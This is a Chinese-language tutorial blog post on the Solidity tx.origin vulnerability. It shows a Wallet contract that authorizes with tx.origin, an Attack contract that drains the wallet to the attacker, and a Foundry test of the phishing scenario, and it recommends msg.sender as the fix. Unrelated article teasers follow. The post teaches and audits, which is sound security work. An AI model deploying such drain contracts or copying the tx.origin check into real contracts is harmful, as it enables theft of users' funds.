SolidityFoundry 安全审计测试 tx.origin 漏洞

2024-05-29 02:36

本文主要是介绍SolidityFoundry 安全审计测试 tx.origin 漏洞,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

名称:tx.origin 漏洞

solidityproject/vulnerable-defi at master · XuHugo/solidityproject · GitHub

说明:

        tx.origin是Solidity中的一个全局变量;智能合约中使用该变量进行身份验证,会使合约容易受到网络钓鱼攻击。

msg.sender: 指直接调用智能合约功能的帐户或智能合约的地址

tx.origin: 指调用智能合约功能的账户地址,只有账户地址可以是tx.origin

EOA -> Contract A -> Contract B -> Contract C

tx.origin始终保持是EOAmsg.sender是其直接调用者的地址。

场景:

钱包是一个简单的合约,只有所有者才能将以太币转移到另一个地址。以太币到另一个地址。Wallet.transfer()使用 tx.origin 来检查调用者是否为所有者。调用者是所有者。让我们看看如何破解这个合约

攻击过程

爱丽丝被骗调用了 Attack.attack()。在 Attack.attack() 中,它要求将 Alice 钱包中的所有资金转移到 Eve 的地址。由于 Wallet.transfer() 中的 tx.origin 等于 Alice 的地址、就授权了转账。钱包将所有以太币转给了 Eve。

预防措施

由于tx.origin可能存在安全隐患,因此建议始终使用msg.sender进行授权或检查调用智能合约的地址。

钱包代码:

contract Wallet {address public owner;constructor() payable {owner = msg.sender;}function transfer(address payable _to, uint _amount) public {// check with msg.sender instead of tx.originrequire(tx.origin == owner, "Not owner");(bool sent, ) = _to.call{value: _amount}("");require(sent, "Failed to send Ether");}
}

攻击代码

contract Attack {address payable public owner;Wallet wallet;constructor(Wallet _wallet) {wallet = Wallet(_wallet);owner = payable(msg.sender);}function attack() public {wallet.transfer(owner, address(wallet).balance);}
}

foundry测试代码:

contract ContractTest is Test {Wallet WalletContract;Attack AttackerContract;function testtxorigin() public {address alice = vm.addr(1);address eve = vm.addr(2);vm.deal(address(alice), 10 ether);vm.deal(address(eve), 1 ether);vm.prank(alice);WalletContract = new Wallet{value: 10 ether}(); //Alice deploys Wallet with 10 Etherconsole.log("Owner of wallet contract", WalletContract.owner());vm.prank(eve);AttackerContract = new Attack(WalletContract); //Eve deploys Attack with the address of Alice's Wallet contract.console.log("Owner of attack contract", AttackerContract.owner());console.log("Eve of balance", address(eve).balance);vm.prank(alice, alice);AttackerContract.attack(); // Eve tricks Alice to call AttackerContract.attack()console.log("tx origin address", tx.origin);console.log("msg.sender address", msg.sender);console.log("Eve of balance", address(eve).balance);}receive() external payable {}
}

这篇关于SolidityFoundry 安全审计测试 tx.origin 漏洞的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1012397

相关文章

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

客户案例:安全海外中继助力知名家电企业化解海外通邮困境

1、客户背景 广东格兰仕集团有限公司(以下简称“格兰仕”),成立于1978年,是中国家电行业的领军企业之一。作为全球最大的微波炉生产基地,格兰仕拥有多项国际领先的家电制造技术,连续多年位列中国家电出口前列。格兰仕不仅注重业务的全球拓展,更重视业务流程的高效与顺畅,以确保在国际舞台上的竞争力。 2、需求痛点 随着格兰仕全球化战略的深入实施,其海外业务快速增长,电子邮件成为了关键的沟通工具。

安全管理体系化的智慧油站开源了。

AI视频监控平台简介 AI视频监控平台是一款功能强大且简单易用的实时算法视频监控系统。它的愿景是最底层打通各大芯片厂商相互间的壁垒,省去繁琐重复的适配流程,实现芯片、算法、应用的全流程组合,从而大大减少企业级应用约95%的开发成本。用户只需在界面上进行简单的操作,就可以实现全视频的接入及布控。摄像头管理模块用于多种终端设备、智能设备的接入及管理。平台支持包括摄像头等终端感知设备接入,为整个平台提

2024网安周今日开幕,亚信安全亮相30城

2024年国家网络安全宣传周今天在广州拉开帷幕。今年网安周继续以“网络安全为人民,网络安全靠人民”为主题。2024年国家网络安全宣传周涵盖了1场开幕式、1场高峰论坛、5个重要活动、15场分论坛/座谈会/闭门会、6个主题日活动和网络安全“六进”活动。亚信安全出席2024年国家网络安全宣传周开幕式和主论坛,并将通过线下宣讲、创意科普、成果展示等多种形式,让广大民众看得懂、记得住安全知识,同时还

【Kubernetes】K8s 的安全框架和用户认证

K8s 的安全框架和用户认证 1.Kubernetes 的安全框架1.1 认证:Authentication1.2 鉴权:Authorization1.3 准入控制:Admission Control 2.Kubernetes 的用户认证2.1 Kubernetes 的用户认证方式2.2 配置 Kubernetes 集群使用密码认证 Kubernetes 作为一个分布式的虚拟

企业安全之WiFi篇

很多的公司都没有安全团队,只有运维来负责整个公司的安全,从而安全问题也大打折扣。我最近一直在给各个公司做安全检测,就把自己的心得写下来,有什么不足之处还望补充。 0×01  无线安全 很多的公司都有不怎么注重公司的无线电安全,有钱的公司买设备,没钱的公司搞人力。但是人的技术在好,没有设备的辅助,人力在牛逼也没有个卵用。一个好的路由器、交换机、IDS就像你装备了 无尽、狂徒、杀人书一

Verybot之OpenCV应用一:安装与图像采集测试

在Verybot上安装OpenCV是很简单的,只需要执行:         sudo apt-get update         sudo apt-get install libopencv-dev         sudo apt-get install python-opencv         下面就对安装好的OpenCV进行一下测试,编写一个通过USB摄像头采